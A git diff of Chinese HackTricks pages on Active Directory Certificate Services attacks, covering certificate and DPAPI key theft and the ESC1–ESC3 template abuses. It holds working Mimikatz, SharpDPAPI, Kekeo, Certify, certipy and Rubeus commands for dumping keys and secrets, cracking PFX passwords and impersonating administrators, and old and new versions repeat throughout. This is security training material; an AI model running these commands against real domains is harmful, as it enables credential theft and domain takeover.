这也可以通过**编程方式**完成。示例包括 PowerShell 的 `ExportPfxCertificate` cmdlet 或 [TheWover 的 CertStealer C# 项目](https://github.com/TheWover/CertStealer)。
|
|
||||||
|
|
||||||
这些方法底层使用 **Microsoft CryptoAPI**(CAPI)或更现代的 Cryptography API: Next Generation (CNG) 与证书存储进行交互。这些 APIs 执行各种加密服务,这些服务对于证书存储和认证(以及其他用途)是必需的。
|
对于**编程方法**,可以使用PowerShell的`ExportPfxCertificate` cmdlet或类似[TheWover的CertStealer C#项目](https://github.com/TheWover/CertStealer)的工具。这些工具利用**Microsoft CryptoAPI** (CAPI) 或 Cryptography API: Next Generation (CNG) 与证书存储交互。这些API提供一系列加密服务,包括证书存储和身份验证所需的服务。
|
||||||
|
|
||||||
如果私钥是不可导出的,CAPI 和 CNG 将不允许提取不可导出的证书。**Mimikatz 的** `crypto::capi` 和 `crypto::cng` 命令可以修补 CAPI 和 CNG 以**允许导出**私钥。`crypto::capi` **修补**当前进程中的 **CAPI**,而 `crypto::cng` 需要**修补** **lsass.exe 的**内存。
|
然而,如果私钥被设置为不可导出,CAPI和CNG通常会阻止提取这样的证书。为了绕过这个限制,可以使用像**Mimikatz**这样的工具。Mimikatz提供了`crypto::capi`和`crypto::cng`命令来修补相应的API,允许导出私钥。具体来说,`crypto::capi`修补了当前进程中的CAPI,而`crypto::cng`则针对**lsass.exe**的内存进行修补。
|
||||||
|
|
||||||
## 通过 DPAPI 进行用户证书盗窃 – THEFT2
|
## 通过DPAPI窃取用户证书 – THEFT2
|
||||||
|
|
||||||
有关 DPAPI 的更多信息,请参见:
|
有关DPAPI的更多信息:
|
||||||
|
|
||||||
{% content-ref url="../../windows-local-privilege-escalation/dpapi-extracting-passwords.md" %}
|
{% content-ref url="../../windows-local-privilege-escalation/dpapi-extracting-passwords.md" %}
|
||||||
[dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
[dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Windows **使用 DPAPI 存储证书私钥**。Microsoft 区分了用户和机器私钥的存储位置。当手动解密加密的 DPAPI 数据块时,开发者需要了解操作系统使用了哪种加密 API,因为两种 API 的私钥文件结构不同。使用 SharpDPAPI 时,它会自动处理这些文件格式的差异。 
|
在Windows中,**证书私钥受DPAPI保护**。重要的是要认识到**用户和机器私钥的存储位置**是不同的,文件结构取决于操作系统所使用的加密API。**SharpDPAPI**是一个工具,可以在解密DPAPI blobs时自动处理这些差异。
|
||||||
|
|
||||||
Windows 最**常见的用户证书存储位置**是在注册表的 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`,尽管一些用户的个人证书**也**存储在 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`。关联的用户**私钥位置**主要在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\`(对于 **CAPI** 密钥)和 `%APPDATA%\Microsoft\Crypto\Keys\`(对于 **CNG** 密钥)。
|
**用户证书**主要存储在注册表中的`HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`下,但有些证书也可以在目录`%APPDATA%\Microsoft\SystemCertificates\My\Certificates`中找到。这些证书的**私钥**通常存储在`%APPDATA%\Microsoft\Crypto\RSA\User SID\`中的**CAPI**密钥和`%APPDATA%\Microsoft\Crypto\Keys\`中的**CNG**密钥。
|
||||||
|
|
||||||
要获取证书及其关联的私钥,需要:
|
要**提取证书及其关联的私钥**,该过程涉及:
|
||||||
|
|
||||||
1. 确定**想要从用户的证书存储中盗取哪个证书**并提取密钥存储名称。
|
1. 从用户存储中**选择目标证书**并检索其密钥存储名称。
|
||||||
2. 找到解密关联私钥所需的**DPAPI 主密钥**。
|
2. **定位所需的DPAPI主密钥**以解密相应的私钥。
|
||||||
3. 获取明文 DPAPI 主密钥并使用它来**解密私钥**。
|
3. 通过使用明文DPAPI主密钥来**解密私钥**。
|
||||||
|
|
||||||
要**获取明文 DPAPI 主密钥**:
|
要**获取明文DPAPI主密钥**,可以使用以下方法:
|
||||||
```bash
|
```bash
|
||||||
# With mimikatz
|
# With mimikatz, when running in the user's context
|
||||||
## Running in a process in the users context
|
|
||||||
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
|
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
|
||||||
|
|
||||||
# with mimikatz
|
# With mimikatz, if the user's password is known
|
||||||
## knowing the users password
|
|
||||||
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
|
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
|
||||||
```
|
```
|
||||||
为了简化主密钥文件和私钥文件的解密,可以使用 [**SharpDPAPI’s**](https://github.com/GhostPack/SharpDPAPI) 的 `certificates` 命令,并结合 `/pvk`、`/mkfile`、`/password` 或 `{GUID}:KEY` 参数来解密私钥和相关证书,输出一个 `.pem` 文本文件。
|
为了简化主密钥文件和私钥文件的解密过程,来自[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)的`certificates`命令非常有用。它接受`/pvk`、`/mkfile`、`/password`或`{GUID}:KEY`作为参数来解密私钥和关联证书,随后生成一个`.pem`文件。
|
||||||
```bash
|
```bash
|
||||||
|
# Decrypting using SharpDPAPI
|
||||||
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
|
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
|
||||||
|
|
||||||
# Transfor .pem to .pfx
|
# Converting .pem to .pfx
|
||||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||||
```
|
```
|
||||||
## 通过 DPAPI 窃取机器证书 – THEFT3
|
## 通过DPAPI窃取机器证书 - THEFT3
|
||||||
|
|
||||||
Windows 在注册表键 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` 中存储机器证书,并根据账户在几个不同的位置存储私钥。\
|
Windows在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates`,相关的私钥位于 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`(对于CAPI)和 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`(对于CNG),这些证书使用机器的DPAPI主密钥进行加密。这些密钥无法使用域的DPAPI备份密钥解密;而是需要使用只有SYSTEM用户可以访问的 **DPAPI_SYSTEM LSA secret**。
|
||||||
虽然 SharpDPAPI 会搜索所有这些位置,但最有趣的结果往往来自 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`(CAPI)和 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`(CNG)。这些**私钥**与**机器证书**存储相关联,Windows 使用**机器的 DPAPI 主密钥**对其加密。\
|
|
||||||
不能使用域的 DPAPI 备份密钥解密这些密钥,而**必须**使用系统上的**DPAPI\_SYSTEM LSA 秘密**,该秘密**只能由 SYSTEM 用户访问**。 
|
|
||||||
|
|
||||||
您可以手动使用 **Mimikatz’** 的 **`lsadump::secrets`** 命令,然后使用提取的密钥来**解密机器主密钥**。 \
|
可以通过在 **Mimikatz** 中执行 `lsadump::secrets` 命令来手动解密,提取DPAPI_SYSTEM LSA secret,然后使用该密钥解密机器主密钥。另外,也可以在修补CAPI/CNG后使用Mimikatz的 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 命令。
|
||||||
您也可以像之前一样修补 CAPI/CNG,并使用 **Mimikatz’** 的 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 命令。 \
|
|
||||||
**SharpDPAPI** 的 certificates 命令加上 **`/machine`** 标志(在提升权限时)将自动**提升**为**SYSTEM**,**转储** **DPAPI\_SYSTEM** LSA 秘密,使用它来**解密**找到的机器 DPAPI 主密钥,并使用密钥明文作为查找表来解密任何机器证书私钥。
|
|
||||||
|
|
||||||
## 查找证书文件 – THEFT4
|
**SharpDPAPI** 提供了更自动化的方法,其 certificates 命令。当使用 `/machine` 标志并具有提升的权限时,它会升级到SYSTEM,转储DPAPI_SYSTEM LSA secret,使用它来解密机器DPAPI主密钥,然后使用这些明文密钥作为查找表来解密任何机器证书私钥。
|
||||||
|
|
||||||
有时**证书就在文件系统中**,比如在文件共享或下载文件夹中。\
|
|
||||||
我们见过的最常见的 Windows-focused 证书文件类型是 **`.pfx`** 和 **`.p12`** 文件,**`.pkcs12`** 和 ** `.pem` ** 有时也会出现,但不太常见。\
|
|
||||||
其他有趣的与证书相关的文件扩展名包括:**`.key`**(_私钥_),**`.crt/.cer`**(_仅证书_),**`.csr`**(_证书签名请求,不包含证书或私钥_),**`.jks/.keystore/.keys`**(_Java 密钥库。可能包含 Java 应用程序使用的证书 + 私钥_)。
|
|
||||||
|
|
||||||
要找到这些文件,只需使用 powershell 或 cmd 搜索这些扩展名。
|
## 查找证书文件 - THEFT4
|
||||||
|
|
||||||
如果您找到一个**PKCS#12**证书文件,并且它是**密码保护**的,您可以使用 [pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html) 提取哈希并使用 JohnTheRipper **破解**它。
|
有时证书直接存储在文件系统中,例如在文件共享或下载文件夹中。针对Windows环境最常见的证书文件类型是 `.pfx` 和 `.p12` 文件。尽管不太常见,但扩展名为 `.pkcs12` 和 `.pem` 的文件也会出现。其他值得注意的与证书相关的文件扩展名包括:
|
||||||
|
- `.key` 用于私钥,
|
||||||
|
- `.crt`/`.cer` 仅用于证书,
|
||||||
|
- `.csr` 用于证书签名请求,不包含证书或私钥,
|
||||||
|
- `.jks`/`.keystore`/`.keys` 用于Java密钥库,可能包含Java应用程序使用的证书和私钥。
|
||||||
|
|
||||||
## 通过 PKINIT 窃取 NTLM 凭据 – THEFT5
|
可以使用PowerShell或命令提示符搜索这些文件,查找上述扩展名。
|
||||||
|
|
||||||
> 为了**支持 NTLM 身份验证** \[MS-NLMP],对于不**支持 Kerberos** 身份验证的网络服务连接的应用程序,当使用 PKCA 时,KDC 在特权属性证书(PAC)**`PAC_CREDENTIAL_INFO`** 缓冲区中返回**用户的 NTLM**单向函数(OWF)
|
如果找到受密码保护的PKCS#12证书文件,并且想要提取哈希值,可以使用 `pfx2john.py`,可在 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) 上找到。随后,可以使用JohnTheRipper尝试破解密码。
|
||||||
|
```powershell
|
||||||
|
# Example command to search for certificate files in PowerShell
|
||||||
|
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
|
||||||
|
|
||||||
因此,如果账户通过 PKINIT 认证并获得**TGT**,则有一个内置的“故障安全”允许当前主机**从 TGT 获取我们的 NTLM 哈希**以支持传统认证。这涉及**解密**一个**`PAC_CREDENTIAL_DATA`** **结构**,它是 NTLM 明文的网络数据表示(NDR)序列化表示。
|
# Example command to use pfx2john.py for extracting a hash from a PKCS#12 file
|
||||||
|
pfx2john.py certificate.pfx > hash.txt
|
||||||
|
|
||||||
可以使用 [**Kekeo**](https://github.com/gentilkiwi/kekeo) 请求带有此信息的 TGT 并检索用户的 NTML。
|
# Command to crack the hash with JohnTheRipper
|
||||||
```bash
|
john --wordlist=passwords.txt hash.txt
|
||||||
tgt::pac /caname:thename-DC-CA /subject:harmj0y /castore:current_user /domain:domain.local
|
|
||||||
```
|
```
|
||||||
Kekeo的实现也适用于当前插入的智能卡保护证书,如果你能[**恢复密码**](https://github.com/CCob/PinSwipe)**。** 它也将在 [**Rubeus**](https://github.com/GhostPack/Rubeus) 中得到支持。
|
## 通过PKINIT进行NTLM凭证窃取 - THEFT5
|
||||||
|
|
||||||
## 参考资料
|
提供的内容解释了通过PKINIT进行NTLM凭证窃取的方法,特别是通过标记为THEFT5的窃取方法。以下是被动语态的重新解释,其中适用时对内容进行了匿名化和总结:
|
||||||
|
|
||||||
* 所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
|
为了支持不支持Kerberos身份验证的应用程序的NTLM身份验证[MS-NLMP],KDC被设计为在特权属性证书(PAC)中返回用户的NTLM单向函数(OWF),特别是在使用PKCA时的`PAC_CREDENTIAL_INFO`缓冲区中。因此,如果一个帐户通过PKINIT进行身份验证并获得票据授予票据(TGT),则会自动提供一种机制,使当前主机能够从TGT中提取NTLM哈希以支持传统的身份验证协议。该过程涉及解密`PAC_CREDENTIAL_DATA`结构,这实质上是NTLM明文的NDR序列化描述。
|
||||||
|
|
||||||
|
提到了名为**Kekeo**的实用工具,可在[https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo)获取包含此特定数据的TGT,从而方便检索用户的NTLM。用于此目的的命令如下:
|
||||||
|
```bash
|
||||||
|
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
|
||||||
|
```
|
||||||
|
此外,值得注意的是,Kekeo可以处理受智能卡保护的证书,只要可以检索到PIN码,参考[https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)。相同的功能也被指出由**Rubeus**支持,可在[https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)找到。
|
||||||
|
|
||||||
|
这段说明概括了通过PKINIT进行NTLM凭据窃取的过程和工具,重点是通过使用PKINIT获得的TGT检索NTLM哈希,并促进此过程的实用工具。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,160 +1,167 @@
|
||||||
# AD CS 域提升
|
# AD CS域提升
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**这是帖子的摘要:**
|
||||||
|
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||||
|
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||||
|
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||||
|
|
||||||
## 配置错误的证书模板 - ESC1
|
## 配置错误的证书模板 - ESC1
|
||||||
|
|
||||||
### 解释
|
### 解释
|
||||||
|
|
||||||
* **企业 CA** 授予**低权限用户注册权**
|
### 解释配置错误的证书模板 - ESC1
|
||||||
* **禁用了管理者审批**
|
|
||||||
* **不需要授权签名**
|
* **企业CA授予低特权用户注册权限。**
|
||||||
* 过于宽松的**证书模板**安全描述符**授予低权限用户证书注册权**
|
* **不需要经理批准。**
|
||||||
* **证书模板定义了启用认证的 EKUs**:
|
* **不需要授权人员的签名。**
|
||||||
* _客户端认证 (OID 1.3.6.1.5.5.7.3.2), PKINIT 客户端认证 (1.3.6.1.5.2.3.4), 智能卡登录 (OID 1.3.6.1.4.1.311.20.2.2), 任何用途 (OID 2.5.29.37.0), 或无 EKU (SubCA)._
|
* **证书模板上的安全描述符过于宽松,允许低特权用户获取注册权限。**
|
||||||
* **证书模板允许请求者在 CSR 中指定 subjectAltName:**
|
* **证书模板配置为定义促进身份验证的EKU:**
|
||||||
* 如果存在,**AD** 将使用证书的 **subjectAltName** (SAN) 字段中指定的身份。因此,如果请求者可以在 CSR 中指定 SAN,请求者可以**以任何人的身份请求证书**(例如,域管理员用户)。证书模板的 AD 对象在其 **`mspki-certificate-name-`**`flag` 属性中**指定**请求者**是否可以指定 SAN**。`mspki-certificate-name-flag` 属性是一个**位掩码**,如果存在 **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** 标志,**请求者可以指定 SAN。**
|
* 包括扩展密钥用途(EKU)标识符,如客户端身份验证(OID 1.3.6.1.5.5.7.3.2)、PKINIT客户端身份验证(1.3.6.1.5.2.3.4)、智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)、任何目的(OID 2.5.29.37.0)或无EKU(子CA)。
|
||||||
|
* **请求者可以在证书签名请求(CSR)中包含subjectAltName的能力由模板允许:**
|
||||||
|
* 如果存在,Active Directory(AD)会优先使用证书中的主体备用名称(SAN)进行身份验证。这意味着通过在CSR中指定SAN,可以请求证书以冒充任何用户(例如,域管理员)。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码,`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
这些设置允许**低权限用户请求具有任意 SAN 的证书**,允许低权限用户通过 Kerberos 或 SChannel 以域中任何主体的身份进行认证。
|
所述配置允许低特权用户请求具有任意选择的SAN的证书,从而通过Kerberos或SChannel进行任何域主体的身份验证。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
例如,为了允许产品或部署服务即时生成 HTTPS 证书或主机证书,通常会启用此选项。或者是因为缺乏知识。
|
有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书,或由于缺乏理解。
|
||||||
|
|
||||||
请注意,当创建具有此最后选项的证书时会出现**警告**,但如果复制具有此配置的**证书模板**(如启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 的 `WebServer` 模板),则不会出现警告(然后管理员可能会添加一个认证 OID)。
|
值得注意的是,创建具有此选项的证书会触发警告,当复制现有证书模板(例如具有启用`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板)然后修改以包含身份验证OID时,情况并非如此。
|
||||||
|
|
||||||
### 滥用
|
### 滥用
|
||||||
|
|
||||||
要**找到易受攻击的证书模板**,您可以运行:
|
要**查找易受攻击的证书模板**,您可以运行:
|
||||||
```bash
|
```bash
|
||||||
Certify.exe find /vulnerable
|
Certify.exe find /vulnerable
|
||||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||||
```
|
```
|
||||||
要**滥用此漏洞以冒充管理员**,可以运行:
|
要**利用此漏洞冒充管理员**,可以运行:
|
||||||
```bash
|
```bash
|
||||||
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
|
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||||
```
|
```
|
||||||
然后,您可以将生成的**证书转换为`.pfx`**格式,并使用它来**使用Rubeus或certipy再次进行认证**:
|
然后,您可以将生成的**证书转换为`.pfx`**格式,并再次使用它来**使用Rubeus或certipy进行身份验证**:
|
||||||
```bash
|
```bash
|
||||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||||
```
|
```
|
||||||
Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可以被滥用来生成 PFX:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||||
|
|
||||||
此外,以下 LDAP 查询在针对 AD 林的配置架构运行时,可以用来**枚举**不需要批准/签名的**证书模板**,这些模板具有**客户端认证或智能卡登录 EKU**,并启用了 **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** 标志:
|
可以通过运行以下LDAP查询来枚举AD Forest配置模式中的证书模板,特别是那些不需要批准或签名,具有客户端身份验证或智能卡登录EKU,并启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志。
|
||||||
```
|
```
|
||||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||||
```
|
```
|
||||||
## 配置错误的证书模板 - ESC2
|
## 错误配置的证书模板 - ESC2
|
||||||
|
|
||||||
### 说明
|
|
||||||
|
|
||||||
第二种滥用场景是第一种的变体:
|
|
||||||
|
|
||||||
1. 企业CA授予低权限用户注册权。
|
|
||||||
2. 禁用了管理者审批。
|
|
||||||
3. 不需要授权签名。
|
|
||||||
4. 过于宽松的证书模板安全描述符授予低权限用户证书注册权。
|
|
||||||
5. **证书模板定义了任何用途的EKU或没有EKU。**
|
|
||||||
|
|
||||||
**任何用途的EKU**允许攻击者获取用于**任何目的**的**证书**,如客户端认证、服务器认证、代码签名等。可以使用与**ESC3**相同的**技术**来滥用这一点。
|
|
||||||
|
|
||||||
**没有EKUs的证书** —— 一个下级CA证书 —— 也可以被滥用于**任何目的**,但也**可以用来签署新证书**。因此,使用下级CA证书,攻击者可以在新证书中**指定任意EKUs或字段**。
|
|
||||||
|
|
||||||
然而,如果**下级CA不被**`NTAuthCertificates`**对象信任**(默认情况下不会),攻击者**无法创建**用于**域认证**的新证书。尽管如此,攻击者仍然可以创建带有**任何EKU**和任意证书值的**新证书**,攻击者可能潜在地**滥用**这些证书(例如,代码签名、服务器认证等),这对网络中的其他应用程序(如SAML、AD FS或IPSec)可能有很大的影响。
|
|
||||||
|
|
||||||
以下LDAP查询在针对AD林的配置模式运行时,可以用来枚举匹配此场景的模板:
|
|
||||||
```
|
|
||||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
|
||||||
```
|
|
||||||
## 错误配置的注册代理模板 - ESC3
|
|
||||||
|
|
||||||
### 解释
|
### 解释
|
||||||
|
|
||||||
这个场景类似于第一个和第二个,但是**滥用**了一个**不同的 EKU**(证书请求代理)和**两个不同的模板**(因此它有两套要求),
|
第二种滥用场景是第一种的变体:
|
||||||
|
|
||||||
**证书请求代理 EKU**(OID 1.3.6.1.4.1.311.20.2.1),在 Microsoft 文档中称为**注册代理**,允许一个主体代表另一个用户**注册**一个**证书**。
|
1. 企业 CA 向低权限用户授予了注册权限。
|
||||||
|
2. 禁用了经理批准的要求。
|
||||||
|
3. 省略了授权签名的需求。
|
||||||
|
4. 证书模板上的过于宽松的安全描述符授予了低权限用户的证书注册权限。
|
||||||
|
5. **证书模板被定义为包含 Any Purpose EKU 或没有 EKU。**
|
||||||
|
|
||||||
**“注册代理”** 注册这样一个**模板**,并使用结果**证书共同签署一个 CSR 代表其他用户**。然后它将**共同签署的 CSR** 发送给 CA,注册一个允许“代表注册”的**模板**,CA 回应一个属于“其他”用户的**证书**。
|
**Any Purpose EKU** 允许攻击者为**任何目的**获取证书,包括客户端认证、服务器认证、代码签名等。可以使用与 **ESC3** 相同的**技术**来利用这种情况。
|
||||||
|
|
||||||
|
没有 **EKUs** 的证书,作为下级 CA 证书,可以被滥用为**任何目的**,也可以**用于签署新证书**。因此,攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。
|
||||||
|
|
||||||
|
然而,为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任,则将无法正常运行,这是默认设置。尽管如此,攻击者仍然可以创建**具有任何 EKU**和任意证书值的新证书。这些可能会被潜在地**滥用**于各种目的(例如代码签名、服务器认证等),并且可能对网络中的其他应用程序(如 SAML、AD FS 或 IPSec)产生重大影响。
|
||||||
|
|
||||||
|
要枚举符合 AD Forest 配置模式中此场景的模板,可以运行以下 LDAP 查询:
|
||||||
|
```
|
||||||
|
